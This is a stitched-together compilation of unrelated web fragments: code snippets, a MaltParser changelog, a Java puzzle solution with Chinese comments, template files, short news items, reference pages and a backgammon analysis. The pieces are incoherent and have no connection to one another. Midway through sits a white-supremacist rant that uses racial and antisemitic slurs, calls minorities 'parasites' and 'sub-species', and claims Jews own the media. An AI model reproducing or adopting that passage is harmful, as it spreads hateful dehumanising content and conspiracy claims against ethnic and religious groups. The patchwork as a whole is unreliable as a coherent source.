method or log in to Ethereal and open the Messages section.
transporter.sendMail(...).then(info=>{
console.log('Preview URL: ' + nodemailer.getTestMessageUrl(info));
});
Output of the the example script as shown by the Ethereal mail catching service:


RT @1337aux011: mama used to say, "sugar bean, there are 10 kinds of folks: ppl who grok binary, ppl who don't, & ppl who didn't expect a b…
5/8/2016, 8:37:52 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @1337aux011: mama used to say, "sugar bean, there are 10 kinds of folks: ppl who grok binary, ppl who don't, & ppl who didn't expect a b…
5/8/2016, 8:37:52 PM
Favs: 0
Retweets: 0
link


A check for a body element should be performed before execution for
policies JSONThreatProtection or XMLThreatProtection.
The condition check should be based on one of :
- response.content
- response.form
- request.content
- request.form
- message.content
- message.form
- message.verb
- request.verb
- request.header.Content-Length
- response.header.Content-Length


Llamasoft
Map Excercise
Hints: Select an airport to drop a marker.
Select a marker to display more information about that airport.
© LLamasoft 2016


Choose The Best Place For Your Holiday
"Do you want to relax, have fun with your mates, reconnect with a loved one, switch off from work, learn something new, get a tan or have an adventure? It’s easier to decide where you’re going when you know why you’re going there".


Homepage Design
Task Ready
Konsep hero title yang menarik
3
7
Icon di section our services
2
5
Konsep hero title yang menarik
2
3
In Progress
Replace lorem ipsum text in the final designs
5
5
Create and generate the custom SVG illustrations.
8
7
Proof read the legal page and check for and loopholes
12
11
Create the landing page graphics for the hero slider.
4
8
Needs Review
Check the company we copied doesn't think we copied them.
4
0
Design the about page.
0
5
Move that one image 5px down to make Phil Happy.
2
2
Done
Send Advert illustrations over to production company.
12
5
Dawn wants to move the text 3px to the right.
3
7
Amend the contract details.
8
16


Hello friends,
I am Chad Scott. I am a student at Norwich University where my major is cyber security with a concentration in forensics.
My expected graduation date is 03-2021. Then I plan on pursuing my Masters. This is my first web page, so do not judge to harshly, although helpful criticism is appreciated.
I got into Cyber security and programming by chance. After finishing my Assosiate in applied science, concentration in industrial maintenance, I went to USI to get a bachelor in programing plc's or robotics. I was told by the schools recrutier that they had accomadating programs. I found out later that they did not. When I was siging up for classes, the closet thing they had to what I wanted was a C# class. I fell in love with how awesome it all can be and my career path changed.
If you want to know more about me, offer an internship, or just talk about code, feel free to click on the contact me link.


About
Borealis is a free, open-source CSS framework. With only ~6 kb minified, you have space for all your other files. This framework makes it so that you don't have to type any css yourself! All you have to do is make sure that you use the correct classes.
Open Source
Borealis is 100% open source. If you find anything that you would like to change, visit the repository and open a pull request. If you would like to use this simple CSS framework, the directions are in the repository.
Documentation
How to use
Link via CDN
link rel="stylesheet" href="https://raw.githubusercontent.com/PenetratingShot/Borealis/master/distrib/borealis.css"


GEOS provides a number of services useful or necessary to applications. These services range from dynamic memory management to an item database to a sophisticated graphics system and a print spooler. Many of the most useful or integral services are described in this section.
Local Memory and Object Blocks


Firmly in the concept stage, we're looking to build a car share program in Brisbane, Australia using fully-electrified classic cars. Below is how we see the concept working.
Buy a share in a classic electric car to become a part-owner
Use our app to reserve use of the car
Pickup the car from our centrally located hub
Return the car after use and we'll take care of car storage, maintenance, charging and cleaning
XXX-XXX-XXX
<EMAIL_ADDRESS>Brisbane, Australia


Our next meetup happens Monday, August 6 at Sensor Lab from 19:00–21:00 (doors open 18:30) and is about @@@.
@@@
Afterwards we will discuss the topics addressed in groups and share insights, before we have some drinks.
We meet at Sensor Lab in Utrecht on Monday, June 4. We start at 19:00 and wrap up around 21:00. (Doors open 18:30.) Admission fee is 5 euros payable at the door.
To RSVP, send an email to<EMAIL_ADDRESS>Hope to see you there!


| Version | Date | Description |
| 1.9.2 | @today@ | Minor bug fixes |
| 1.9.1 | July 30 2017 | Minor fix to be able to read CoNLL-U data format version 2. |
| 1.9.0 | June 4 2016 | Added support for CoNLL-U data format and some refactoring and minor fixes. |
| 1.8.1 | November 22 2014 | Minor fixes |
| 1.8 | May 5 2014 | New interface to a concurrent "light-weighted" parser. |
| 1.7.2 | September 25 2012 | |
| 1.7.1 | April 9 2012 | Minor fixes |
| 1.7 | March 12 2012 | Several changes please read the notes below. |
| 1.6.1 | September 21 2011 | Improvement of the MaltParserService. Some improvements during training. |
| 1.6 | August 21 2011 | More sparse representation of the liblinear model, this change requires that a parser model is retrained. |
| 1.5.3 | August 1 2011 | Fixed problem that the symbol table is increasing during parsing. |
| 1.5.2 | July 8 2011 | Minor fixes |
| 1.5.1 | May 12 2011 | Fixed a bug that cause MaltParser to crash under Windows |
| 1.5 | April 21 2011 | Large update and requires that a parser model is retrained. |
| 1.4.1 | July 15 2010 | Some minor bug fixes |
| 1.4 | July 2 2010 | New parsing algorithms, new functionality and some other changes and bugfixes |
| 1.3.1 | November 14 2009 | Some minor improvements and bug fixes |
| 1.3 | September 30 2009 | Large update |
| 1.2 | December 10 2008 | Large update |
| 1.1 | June 5 2008 | Large update |
| 1.0.4 | February 22 2008 | Some minor improvements and bug fixes |
| 1.0.3 | January 26 2008 | Some minor bug fixes |
| 1.0.2 | January 10 2008 | Some minor bug fixes |
| 1.0.1 | November 13 2007 | Binaries built with JDK1.5, instead of JDK1.6. |
| 1.0.0 | November 9 2007 | First release |
| Changes |
| Bugfix: MergeFeature3 had a copy/paste error should be thirdInt not secondInt. |
| Bugfix: LWDeprojectivizer: wrong initialization of markingStrategy constants. |
| Bugfix: LWDeprojectivizer: in some rare situations with very long sentence and with deep structure the deprojectivizer went into infinite recursion. |
| Changes |
| CoNLL-U data format allow empty nodes like i.1 and with this minor fix MaltParser can read and write these empty nodes as comments. |
| Changes |
| Added support for CoNLL-U data format |
| Some refacoring, minor performance-tuning and fixes |
| Changes |
| Some bug fixes to the concurrent interface |
| Changes |
| A new concurrent interface that uses a more "light-weighted" parser and can hopefully be used in a multi-threaded environment. Note: If you need an interface to MaltParser
during training of parser models then you have to use the old interface. |
| Added enforce_tree options to Nivre Arc-eager (thanks to Daniel Fernández-González) |
| Some minor changes throughout the code. |
| Changes |
| Add a new option group "multiplanar" that affect the parsing algorithm planar and 2-planar (thanks to Carlos Gómez-Rodríguez) |
| Liblinear is now the default learner.Liblinear is now the default learner. |
| Liblinear interface: Abort and presentation of an error message when number of training instances * number of classes > Integer.MAX_VALUE (limitation of the size of Java array) |
| Liblinear interface: Improvement of the performance of the memory optimization. |
| SystemInfo: MaltParser version and build date are not loaded from the manifest-file. Instead version and build date are read from a new file in appdata. |
| SystemInfo: Removed the code that tries to find the path to the maltparser-version.jar. The code is not needed anymore and cause problems for MaltParserService users. |
| MaltParserService and OptionManager: Fixed problems when loading /appdata/options.xml from the jar-file |
| ConfigurationDir: fixed URL-problems when loading files from the parser model .mco-file (thanks to Michael Schmitz) |
| New API examples ParseSentence4: shows how to use MaltParserService with a mco-file nested in a jar-file. |
| Changes |
| Added deterministic action to the parsing algorithms Covington non-projective and Covington projective. |
| Fixed a bug with option containers that cause problem when using several parser models via MaltParserService |
| Synchronizing the TreeMap that handles the option values. |
| Minor adjustments to the documentation. |
| Changes |
| Name of jar-file changed to maltparser-<version>.jar, where <version> is the current version of MaltParser. |
| Two dependent Java libraries stax-1.2.0.jar and jsr173_1.0_api.jar removed, because the functionality is included in Java 1.6 or later. |
| The machine learning package liblinear 1.7 replaced by liblinear 1.8. |
| MaltParser 1.7 (and later versions) made available via the official Maven repository. |
| Two new options allow_root and allow_reduce added for the Nivre parsing algorithm. These two options replace the older root_handling option from version 1.7 onwards. |
| Minor bug fixes in the pseudo-projective parsing component. |
| During parsing MaltParser will also search in the java class path(s) to find the parser model (.mco-file). |
| Some minor changes throughout the code. |
| Changes |
| The release of 1.6 reduced the memory usage of the liblinear model, but one drawback was that the training time increased a lot for complex models. This release tries to reduce this training time. |
| MaltParserService has been equipped with few more methods that makes it easier to develop client/server applications. |
| Some minor changes throughout the code. |
| Changes |
This update address the problem that the liblinear model use a lot of memory.
- First, all features that have zero weights for all candidates are now removed during training.
- Second, all features that have the same weights for all candidates shares the weight array.
- Third, all ending zeros in the weight array are removed.
|
| Build target (javac.target) are now 1.6. If you want to run MaltParser with Java 5 you have to change javac.target to 1.5 and rebuild MaltParser. We have also tested MaltParser with Java 7 and it works fine. |
| Changes |
| Fixed a problem with identifying the correct version of malt-<version>.jar when there are several malt-<version>.jar |
| Fixed a problem that the symbol table is increasing with new strings during parsing time. |
| Changes |
| Problem when using MaltParser within a servlet. By making Util.findURL() and Util.findURLinJars() non-static and using getClass().getResource() instead resolves the problem. thanks to Adriane Boyd. |
| Fixed a bug when merging Distance, NumOf and Exists features. |
| Fixed some minor errors in the User guide. Legal values of the second arguments of the NumOf feature are LDEPS, RDEPS, DEPS. |
| Some minor changes throughout the code. |
| Changes |
| Fixed a bug that cause MaltParser to crash under Windows |
| Changes |
| Total re-implementation of the interface to liblinear and libsvm. |
| Correction of some bugs in pseudo-projective parsing. |
| Minor changes to the specification of the data format. |
| Added the possibility to add numeric fields in the data format and use numeric features in the feature model. |
| Removed the implementation of phrase structure parsing. Use MaltParser 1.2 instead. |
| Removed the null value option called 'RootLabel'. |
| Replaced Java's HashMap and HashSet with Google's memory efficient HashMap and HashSet. |
| Minor updates of the MaltParser API. |
| Some minor changes throughout the code. |
| Changes |
| Fixed a problem introduced in 1.4 with path separator in Microsoft Windows environment |
| Changes |
| Two new parsing algorithms 'planar' and 'twoplanar' written by Carlos Gómez-Rodríguez. |
| Replaced the libsvm.jar with LIBSVM version 2.91. |
| Replaced the liblinear.jar with Liblinear version 1.51. |
| The default options of the liblinear options is changed from '-s_1_-c_1_-e_0.1_-B_1' to '-s_4_-c_0.1'. |
| The parser model file '.mco' is not unpacked during parsing, instead the parser reads models and other information directly from the file. |
| New functionality that allows partial dependency trees to be parsed. |
| New functionality that allows propagation of column values towards the root of the dependency graph when doing a labeled transition. |
| MaltParserService that makes it easier for third-party applications to call MaltParser. |
| Seven examples that show how to use MaltParser from other applications. |
| Changes |
| Improved the performance of the liblinear learner interface. |
| '_' character does not mean ignore dependency label in the TabReader. |
| It is now possible to have file names with blanks. |
| Better error message if a column is an empty string in TabReader. |
| Corrected the StackProjective.xml feature model file. |
| Changes |
| New design of the org.maltparser.parser package |
| Reimplementation of the four existing parser algorithms (Nivre arc-eager, Nivre arc-standard, Covington projective and Covington non-projective) in the new design. |
| Three new parsing algorithms: Stack projective, Stack eager and Stack lazy |
| Removal of malt-0.4 support |
| Removal of post-processing for Nivre arc-eager and Nivre arc-standard |
| Fixed a bug in Nivre arc-eager with root handling strict that affects the results |
| Interface to liblinear |
| New address functions: ANC, PANC, LDESC, PLDESC, RDESC, PRDESC |
| New feature functions: Distance, Exists, NumOf, InputArc and InputArcDir |
| Some minor changes throughout the code. |
| The changes may require retraining of parser models. |
| Changes |
| New functionality: TigerXML reader and writer for parsing phrase structure. |
| A total reimplementation of the data structure maintaining the dependency graph and the phrase structure graph (syntax graph package) |
| Transformation between phrase structure and dependency graph relocated to the new syntax graph package. |
| Moved large part of the code in SingleMalt configuration a level up into concept called flow charts, which makes much easier to use MaltParser within third-part software. |
| The new syntax graph package and the flow chart package cause changes in must of the classes. |
| The option --singlemalt-mode is replaced by --config-flowchart. |
| Some minor changes throughout the code. |
| The changes may require retraining of parser models, especially parser models trained with Negra format. |
| Changes |
| New functionality: prediction strategy, which makes it possible to divide the prediction of the parser action into several predictions. |
| New functionality: phrase structure parser that recovers both continuous and discontinuous phrases with both phrase labels and grammatical functions
by automatically transforming the phrase structure representations into dependency representations with complex arc labels. |
| A total reimplementation of the feature model system. |
| New feature types: for example PrefixFeature, MergeFeature and Merge3Feature |
| Better integration of the pseudo-projective parsing. |
| Rather large reimplementation of the guide system. |
| Divided the Single Malt configuration class into several classes and relocated the class to the package org.maltparser.parser.config. |
| Rather large changes to the IO system and relocation of these classes into the package org.maltparser.core.io. |
| New functionality: NEGRA reader and writer for parsing phrase structure. |
| The plugin and options management implements the singleton design pattern, which loads these classes independently on the MaltConsoleEngine. |
| Much of the code in MaltConsoleEngine is relocated to other classes, which makes it easier to create other programs based on MaltParser classes. |
| Some minor changes throughout the code. |
| Changes |
| The default value of the class separator option has been changed to the tilde character (~) instead of underscore (_), because it is quite common that underscore is present in dependency labels. |
| Improved the portability of a MaltParser configuration file (.mco) between different platforms. |
| Pre-compiled regular expression used for splitting strings. |
| Improved memory usage when training an SVM model with an external LIBSVM trainer. |
| Improved error handling when invoking the external LIBSVM trainer. |
| Slightly improved memory usage of the trie symbol table. |
| Changes |
| Fixed some minor bugs |
| Added an error message when LIBSVM runs out of memory |
| Removed the file "using.htm" from the documentation. |
| Changes |
| A configuration file (.mco) was not unpacked in the working directory. |
| URL to feature specification file and data format file were not handled correct. |
| Changes |
| Binaries built with JDK1.5 instead of JDK1.6. |
| Some minor bug fixes |
This is the first release of the Java implementation of MaltParser, so there are no changes.


Euclid’s Game
问题描述 :
Two players, Stan and Ollie, play, starting with two natural numbers. Stan, the first player, subtracts any positive multiple of the lesser of the two numbers from the greater of the two numbers, provided that the resulting number must be nonnegative. Then Ollie, the second player, does the same with the two resulting numbers, then Stan, etc., alternately, until one player is able to subtract a multiple of the lesser number from the greater to reach 0, and thereby wins. For example, the players may start with (25,7):
25 7
11 7
4 7
4 3
1 3
1 0
an Stan wins.
输入:
The input consists of a number of lines. Each line contains two positive integers giving the starting two numbers of the game. Stan always starts.
输出:
For each line of input, output one line saying either Stan wins or Ollie wins assuming that both of them play perfectly. The last line of input contains two zeroes and should not be processed.
样例输入:
34 12 15 24 0 0
样例输出:
Stan wins Ollie wins
解题代码:
/* @author: */ import java.util.Scanner; public class Main{ static boolean judge(int x,int y) { int t; if(x< y) {t=x;x=y;y=t;} if(x%y==0) return true; if(x-y< y) return !judge(y,x-y); return true; } public static void main(String args[]) { Scanner sc=new Scanner(System.in); int m,n; while(sc.hasNext()) { m=sc.nextInt(); n=sc.nextInt(); if(m==0&&n==0) break; if(judge(m,n)) System.out.println("Stan wins"); else System.out.println("Ollie wins"); } } }
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目测会火
楼主你能把scanf( "%d%*" ,&T );中%*的用法详细说明吗
这是研发的在线笔试题吗?发现很多C啊，阿里不是JAVA多么？
很好的思路，可以借鉴
有限自动机在ACM中是必须掌握的算法，实际上在面试当中几乎不可能让你单独的去实现这个算法，如果有题目要用到有限自动机来降低时间复杂度，那么这种面试题应该属于很难的级别了。
nice!!!
受益匪浅！！
顺利测试通过了，多谢
算法是程序的灵魂，算法分简单和复杂，如果不搞大数据类，程序员了解一下简单点的算法也是可以的，但是会算法的一定要会编程才行，程序员不一定要会算法，利于自己项目需要的可以简单了解。
The site You have write is very nicely prepared and quite insightful thanks for nice posta?|
int L[m+1][n+1];这样定义出错，这个在gcc上可以编译通过 在VS上不行 应该改为new 或者vector
这个是代码高亮功能，那就再换一个颜色
通不过。
确实有点难度，搞了好久。int溢出要注意


In these days I have seen more and more, the complete hypocrisy of the United States. I am not against my country at all, just the wool the wolves put over Americans eyes. This country has moved to an " Politically Correct " union, that has and is abolishing free speech.
 In the United States of Political Correctness, European - Americans are NOT called by our rightful names.
Yet, these races scream to be called by their political correct names, and refuse to acknowledge that European Americans ARE ARYANS, and need to be called as such. Hate crimes spew from the propaganda unleashed from the government and their parasite alliances.
It is a great hypocritical situation when you can say and do whatever you want as long as you're not WHITE! I believe with all my heart and soul in freedom of speech. Niggers, kikes, spics, towel-heads, are all the same to me : " PARASITES ". People say that the ARYANS are the problem, but I beg to differ.  I'm not allowed to state my opinion to the news papers, for the kikes own the media.
I have noticed through years of watching people whom the government favors, and rejects. With the " Million Monkey March " police were there....not to arrest these scum, but to protect them. At ARYAN, and Klan gatherings police are there too. But not to protect. They are there taking license plate numbers, and awaiting the chance to pounce and arrest everyone they can.
You can be associated with radical groups, never be a confirmed citizen, and be the president of this country. You can have these sub-species represent you in the courts of law, and there is no consequences to worry about. Yet if you're asssociated with any WHITE, ARYAN group, you are not allowed to be in any political office. These are great hypocritical, and political correctness biasness' that were and are made to surpress, and oppress the ARYAN man. The United States that I was born and raised in, was once a place called " America ". Yet now it is getting to the point of embarressment to say I am an American. I do thank GOD however, that I am a proud ARYAN!
The United States of America are dead and gone folks, welcome to:
" THE UNITED STATES OF HYPOCRISY " |


Ties the parent build of a multi-configuration project to a node.
Plugin Information |
|---|
View Matrix Tie Parent on the plugin site for more information. |
As JENKINS-7825 is fixed in Jenkins 1.521, this plugin is now deprecated. Please look under the "advanced" option of the matrix project configuration to tie the matrix parent to a label/slave.
Simple groovy script to perform the migration. Users are encouraged to backup first.
j = Jenkins.instance; jobs = j.items.grep { it instanceof hudson.matrix.MatrixProject } jobs.grep { wrapper(it) != null }.each { println "${it.fullName}" def wrpr = wrapper(it) println "\t${wrpr.labelName}" it.setAssignedLabel(j.getLabel(wrpr.labelName)); it.getBuildWrappersList().remove(wrpr); it.save(); }.size(); def wrapper(mp) { return mp.getBuildWrappersList().get(matrixtieparent.BuildWrapperMtp.class) }
Usage
Multi-Configuration projects always run one parent build job. The parent build verifies source control checkout operations, then monitors the execution of child jobs created to satisfy the Configuration Matrix.
Sometimes the parent build must run on some computers, but not others. This may be due to constraints such as a lack of source control or other software on a computer, file permission issues, etc.
Restrict where the parent build runs by selecting a specific computer's node name. Or, use a label to restrict the parent build to run only on computers marked with that label.
Limitations
- System property hudson.model.Hudson.flyweightSupport must be set to true. This is Jenkins' default setting since v1.337.
Changelog
Version 1.1 - August 23, 2010
- Requires Hudson ver. 1.373 or newer.
- Fix exception caused by Hudson core changes introduced in v1.372. Fixed for v1.373 and newer. (Don't use v1.372)
Version 1.0 - June 8, 2010
- Works with Hudson versions 1.361 thru 1.371
- Initial release.


| URI: |
http://www.woerteler.de/xquery/modules/rng
|
| Description: | A simple random number generator implemented as a Linear Congruential Generator. |
| Author: | Leo Woerteler<EMAIL_ADDRESS>|
| Version: | 0.1 |
| Arguments: |
|
||||||
| Returns: |
|
||||||
| Annotations: |
|
||||||
| Description: | Generates $n random xs:int s, starting with the given seed. |
| Arguments: |
|
||||||||||||
| Returns: |
|
||||||||||||
| Annotations: |
|
||||||||||||
| Description: | Folds over a sequence of $n randomly generated xs:int s,
starting with the value $start and successively adding random ints
by calling $f with the current value and the next int. |


{% extends "base_template.html" %} {% block subtitle %} - About{% endblock %} {% block content %}
Welcome to 'A Run in the Forest'! On this site, you'll find all manner of resources related to outdoor functional fitness, ultimately leading one to better enjoy the fun things in life, such as scaling a moutain, or enjoying a long hike in the forest.
In addition, I plan on using this as an online journal of my outdoor fitness pursuits and workouts.
About me: My name is Chris Zacny, and I'm based in the Seattle area. I personally enjoy fitness, the great outdoors, and computer / IoT programming (mainly back-end, with some front-end thrown in for good measure).


Specialist
Omsk State University Omsk, Russia
Faculty of Culture and Arts
Manager of Cinema, Photography and Video Arts Studio; Teacher.
Faculty of Culture and Arts
Manager of Cinema, Photography and Video Arts Studio; Teacher.
Faculty of Computer Science
Computers, Computer Systems and Networks


{%extends 'base.html' %} {% block content %}
The sheer beauty of our world never cease to amaze me especially during that soft morning and evening light.So come and join me in my gallery to see some gorgeous images.


Culture Minister says BTS will not be exempt from military service
by sl278BTS will not be exempt from military service, according to the culture minister of Korea.
As many K-pop groups are rising in global fame, discussions regarding boy bands' military service have always been a big debate. Unfortunately, although fans have been calling for the government to waive the boys' service, the conclusion has been made that they will have to serve.
According to Yonhap, on November 19, the culture minister Park Yang Woo stated in a press conference with reporters at UNESCO in Paris, stating, "In the case of BTS, I personally wish I could allow exemptions for them under certain standards, but the Military Manpower Administration and the Ministry of National Defense (in charge of conscription) are inclined to downsize the overall scope (of exemption)... Unlike classical arts or sports, it is difficult to fix the criteria of the selection in the popular culture and arts fields, which makes it difficult to institutionalize (a waiver system)."
Given the current state of the members' ages, Jin, who is about to turn 28, will need to enlist next year due to the age deadline.
What do you think of this situation?


--- layout: default title: Shuffle Compound Filters Demo description: A demo with compound filtering image: /demos/adaptive.jpg extraJS: [ "demos/compound-filters.js" ] prism: true --- Compound Filters Colors Green Blue Red Orange Shapes Circle Diamond Square Triangle {% for shape in site.shapes %} {% endfor %}
Link to demo source


PuTTY can be used for SSH
PSCP can be used for scp
PSFTP can be used for ftp
Many equivalent tools may be included in an environment where PuTTY exists as well


Unproven verification conditions for file C:\Users\Louis Capitanchik\Documents\RASS\Airline.pd
Generated by Perfect Developer Free Edition at 18:06:54 UTC on Sunday March 20th 2016
Escher Verification Studio file versions
EscherTool 6.10.01
builtin <IP_ADDRESS>
rubric <IP_ADDRESS>
Failed to prove 1 of 16 verification conditions.
Refuted verification condition: Class invariant satisfied
In the context of class: Airline, declared at: C:\Users\Louis Capitanchik\Documents\RASS\Airline.pd (12,1)
Condition generated at: C:\Users\Louis Capitanchik\Documents\RASS\Airline.pd (32,14)
Condition defined at: C:\Users\Louis Capitanchik\Documents\RASS\Airline.pd (24,9)
To prove: ~(exists x::self′.schedule • exists y::self′.schedule • y.code = x.code)
End of unproven verification conditions for file C:\Users\Louis Capitanchik\Documents\RASS\Airline.pd


CountCGICookies()
Syntax
Result = CountCGICookies()Description
Returns the number of available cookies. The cookies are small persitent files stored in the web browser to allow to remember a context and ease future navigation when loading the same page later on. Please note than European legislation now impose to inform users that cookies are not being used to gather information unnecessarily.
Parameters
None.
Return value
Returns the number of available cookies. The name and value of cookies can be get with CGICookieName() and CGICookieValue().
Example
If Not InitCGI() Or Not ReadCGI() End EndIf WriteCGIHeader(#PB_CGI_HeaderContentType, "text/html") ; Write the headers to inform the browser of the content format WriteCGIHeader(#PB_CGI_HeaderSetCookie , "mycookie=hello", #PB_CGI_LastHeader) ; Write one cookie named 'mycookie' WriteCGIString("<title>PureBasic - cookies</title>" + "NbCookies: " + CountCGICookies() + "

") WriteCGIString("")
See Also
CGICookieName(), CGICookieValue()
Supported OS
All


API Reference
This page gives you a detailed description of the REST API offered by this website for use in a client or a web service, or in any other way. You do not need an API key or anything similar to use it. The response format for any request will be JSON.
Find n-th prime number
This service takes n, being a number between 1 and 50,000,000, both boundary values included, and returns the corresponding prime number.
The API call would look as follows:
http://2id60.win.tue.nl:9973/api/nthprime?n=<N>
In this example <N>
is the place where your integer should go, e.g.:
http://2id60.win.tue.nl:9973/api/nthprime?n=42
The response for a valid <N>
will contain the <N>
itself and the corresponding prime, in the following format:
{"n":<N>,"prime":<P>}
Again, here <N>
is the integer from your request, and <P>
is the corresponding prime. An example for the call given earlier would look as follows:
{"n":42,"prime":181}
In case of a malformed request the response will be JSON and look as follows:
{"error":<message>}
The <message>
is some string, namely, the error message. Its format is not strictly defined.
Factorise an integer
This service takes an integer n between 2 and 1,964,903,306, both boundary values included, and returns a list of its prime factors.
The API call in general looks as follows:
http://2id60.win.tue.nl:9973/api/factorise?integer=<N>&mode=<mode>
In this example <N>
is the place where your integer should go, e.g.:
http://2id60.win.tue.nl:9973/api/factorise?integer=1028
http://2id60.win.tue.nl:9973/api/factorise?integer=1028&mode=short
In turn, <mode>
can take one of the two values: short
or full
.
This parameter is optional; the default value is full
. It determines the format in which the factors should be returned.
The response for a valid <N>
will contain the <N>
itself, the boolean value that tells whether that integer is a prime, and the array of its prime factors, in the following format:
{"n":<N>,"isPrime":<bool>,"factors":[<factor_1>,<factor_2>,<...>,<factor_m>]}
Here <N>
is the integer from your request, <bool>
is a boolean value, either true or false—if it is true, then <N>
is a prime—and <factor_i>
, for i between 1 and m, is one of the prime factors of the integer.
You can expect the list of prime factors to be sorted in ascending order.
In case <mode>
is set to short
, the response format is as follows:
{"n":<N>,"isPrime":<bool>,"factors":[{"factor":<factor_1>,"count":<count_1>},<...>,{"factor":<factor_m>,"count":<count_m>}]}
Here all the factor_i
are guaranteed to be unique; count_i
determines the power of that factor in the prime factorisation.
An example for the call given earlier would look as follows:
{"n":1028,"isPrime":false,"factors":[2,2,257]}
If invoked with the short mode, the response will be:
{"n":1028,"isPrime":false,"factors":[{"factor":2,"count":2},{"factor":257,"count":1}]}
In case of a malformed request the response will be JSON and look as follows:
{"error":<message>}
The <message>
is some string, namely, the error message. Its format is not strictly defined.


Disclaimer!! .Knowledge gained from this course should and must be used for legal applicatons only.
Any illegal activities conducted with knowledge form this course individual will bear the consequences.
Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts.


BAD_RESPONSE
The server send an unexpected message to the client.
The info map contains the JSONObject value of the server's response under the key infoKeyResponse.
toString
fun toString(): String


eJapa
Surname
Firstname
Email
Slack Username
Select your track
Frontend
Backend
Select your level
Beginner
Junior
Senior
Mentor
Select your specialization
PHP


{% extends 'rackspace/base.html' %} {% load i18n %} {% block title %}Rackspace Private Cloud Solutions{% endblock %} {% block page_header %} {% include "horizon/common/_page_header.html" with title="Solutions" %} {% endblock page_header %} {% block main %}
These solutions are OpenStack Heat based templates that have been purpose built to be deployed in your Rackspace Private Cloud. The Open Source application stacks are configured to follow best practice industry standards for cloud scaling applications, and are provided as-is without Rackspace Support. For more information, please visit http://rcbops.github.io/templates/.


Contact
Plot 416, Tigris Crescent Off Aguiyi Ironsi Street, Maitama. PMB 138, Garki ,Abuja.
Vision Statement
To develop a sound and result oriented organization that is strongly committed to its set objectives particularly those of
national unity and even development. An organization that is well motivated and capable of bringing out
the best qualities in our youths and imparting in them the right attitude and values for nation-building.
An organization that serves as a catalyst to national development, and a source of pride and fulfillment
to its participating graduate youths
Mission Statement
To build a pragmatic organization that is committed to its set objectives with the ultimate goal of producing future leadership
with positive national ethos-Leadership that is vibrant, proud and committed to the unity and even development
of the Nigeria State. To be at the fore front of National development efforts, as well as serve as a
profitable platform for imparting in our youths values of nationalism, patriotism, loyalty and accountable
leadership. To raise the moral tone of our youths by giving them opportunity to learn about high ideals
of national achievement, social and cultural improvement. To develop in our youths attitude of mind acquired
through shared experience, and suitable training which would make them more amenable to mobilization
in the national interest. To ensure Nigerian youths acquire the spirit of self-reliance, a reliable source
of economic empowerment and effective participation in nation building. To develop an organization that
is alive to its responsibilities and responsive to the needs of the country.


{% extends 'base.html' %} {% block styles %} {{super()}} {% endblock %} {% block content %}
Make it happen in a minute.
In life you only have 60 seconds to impress someone. 1 minute can make or break you. We want to help you use that time to say something meaningful.
Sign in to view some sample pitches to impress


In Parable, recursion is handled through redefintion. So a simple recursive loop might look like:
[ ] 'foo' define
[ foo ] 'foo' define
An unending loop isn't much use, but we can implement a simple counted loop using recursion by doing:
[ ] 'foo' define
[ dup #10 <> [ dup #1 + foo ] if-true ] 'foo' define
#1 foo
Recursion is a powerful tool, but it's often more practical to use the looping combinators instead. E.g., the above counted loop could also be done without recursion using the repeat combinator.
#1 #10 [ dup #1 + ] repeat


Syntax:
read-char-no-hang &optional input-stream eof-error-p eof-value recursive-p => char
Arguments and Values:
input-stream -- an input stream designator. The default is standard input.
eof-error-p---a generalized boolean. The default is true.
eof-value---an object. The default is nil.
recursive-p---a generalized boolean. The default is false.
char---a character or nil or the eof-value.
Description:
read-char-no-hang returns a character from input-stream if such a character is available. If no character is available, read-char-no-hang returns nil.
If recursive-p is true, this call is expected to be embedded in a higher-level call to read or a similar function used by the Lisp reader.
If an end of file[2] occurs and eof-error-p is false, eof-value is returned.
Examples:
;; This code assumes an implementation in which a newline is not ;; required to terminate input from the console. (defun test-it () (unread-char (read-char)) (list (read-char-no-hang) (read-char-no-hang) (read-char-no-hang))) => TEST-IT ;; Implementation A, where a Newline is not required to terminate ;; interactive input on the console. (test-it) >> a => (#\a NIL NIL) ;; Implementation B, where a Newline is required to terminate ;; interactive input on the console, and where that Newline remains ;; on the input stream. (test-it) >> a<NEWLINE> => (#\a #\Newline NIL)
Affected By:
*standard-input*, *terminal-io*.
Exceptional Situations:
If an end of file[2] occurs when eof-error-p is true, an error of type end-of-file is signaled .
See Also:
Notes:
read-char-no-hang is exactly like read-char, except that if it would be necessary to wait in order to get a character (as from a keyboard), nil is immediately returned without waiting.


Elon Musk Alarmed That Teslas Beep Constantly in Drive-Thru Lanes
by Dan RobitzskiClose Quarters
The close confines of a drive-thru lane apparently mess with Teslas’ parking sensors, resulting in a cacophony of annoying beeps and alarms.
Parking sensors can help drivers avoid annoying dings and dangerous collisions as they try to back into a spot. But now Tesla CEO Elon Musk says he’s looking into providing the option to turn them off, Business Insider reports, to spare hungry drivers from annoyance as they wait for a burger.
Crowdsourced Features
Musk’s announcement comes after someone complained to him on Twitter about the noise her car makes while detecting hazards in the drive-thru lane. Musk replied: “Looking into it.”
Of course, given the propensity for new Tesla features to cause accidents, crashes, and other forms of damage, it might be best to keep the alarms on for now.
READ MORE: Elon Musk said he will look into launching a ‘drive-thru mode’ for Teslas after a driver complained the car’s parking sensor ‘beeps like crazy’ while she waits for fast food [Business Insider]
More on Tesla: Video Shows Tesla Autopilot Steering Toward Highway Barriers


Match Play. Double Match Point. How should Red play 55?
pips Red=135 White=121
(CorrectAnswer= 0/0, ErrorScore= 0)
If a gammon were a priority then bar/10, 22/17 would edge out the other plays.
However, all Red needs to do is win the game and to that end he needs to get those rear checkers moving and preferably connected to each other. That means that bar/20, 21/16(2) for thee of the fives is clear.
The difference between 20/15 and 22/17 is tiny with the former just getting the nod for the final five.
However, all Red needs to do is win the game and to that end he needs to get those rear checkers moving and preferably connected to each other. That means that bar/20, 21/16(2) for thee of the fives is clear.
The difference between 20/15 and 22/17 is tiny with the former just getting the nod for the final five.
1. Cubeful 2-ply bar/15 21/16(2) Eq.: +0.421 0.711 0.392 0.008 - 0.289 0.073 0.001 2. Cubeful 2-ply bar/20 22/17 21/16(2) Eq.: +0.399 (-0.022) 0.699 0.388 0.009 - 0.301 0.079 0.001 3. Cubeful 2-ply bar/10 22/17 Eq.: +0.363 (-0.058) 0.681 0.410 0.010 - 0.319 0.081 0.002 4. Cubeful 2-ply bar/15 22/17 21/16 Eq.: +0.361 (-0.060) 0.680 0.386 0.008 - 0.320 0.111 0.004 5. Cubeful 2-ply bar/10 21/16 Eq.: +0.358 (-0.063) 0.679 0.403 0.009 - 0.321 0.106 0.005


